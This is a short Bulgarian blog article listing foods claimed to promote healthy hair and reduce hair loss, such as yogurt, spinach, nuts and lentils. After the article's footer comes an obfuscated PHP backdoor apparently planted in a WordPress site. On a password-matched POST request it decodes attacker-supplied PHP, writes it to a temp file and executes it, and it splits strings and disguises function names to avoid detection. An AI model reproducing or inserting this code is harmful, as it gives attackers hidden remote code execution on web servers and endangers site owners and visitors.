Топ храни за здрава и красива коса, без косопад | Косопад

Топ храни за здрава и красива коса, без косопад

kiselo-mlyako

Ако искате да имате красива и здрава коса, ето кои храни задължително да включите в ежедневното си хранене:

Кисело мляко

Не само е богато на протеини, но съдържа и витамин В5, който благоприятства кръвообращението на скалпа и растежа на косата. Предпазва косата от изтъняване. Препоръчителният минимален прием е 250 мл.

Черен дроб, жълтък и соево брашно

Всички съдържат биотин, един от В комплекса. Недостига му може да накара косата да се къса по- лесно.

spanak

Спанак

Богат е на желязо, бетакаротени, фолиева киселина и витамин С. Тази комбинация помага за хидратирането на косата и я прави по- здрава.

Ядки

Слънцето уврежда косата точно толкова, колкото и кожата. Тези храни са богати на витамин Е. Съдържат също цинк и селен.

Леща или броколи

Богати са на желязо. Този минерал е много важен за косата, тъй като я предпазва от анемия, чест причинител на косопад. Желязото помага до космените фоликули да достигат повече хранителни вещества.

06. октомври 2015 18:29:02 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}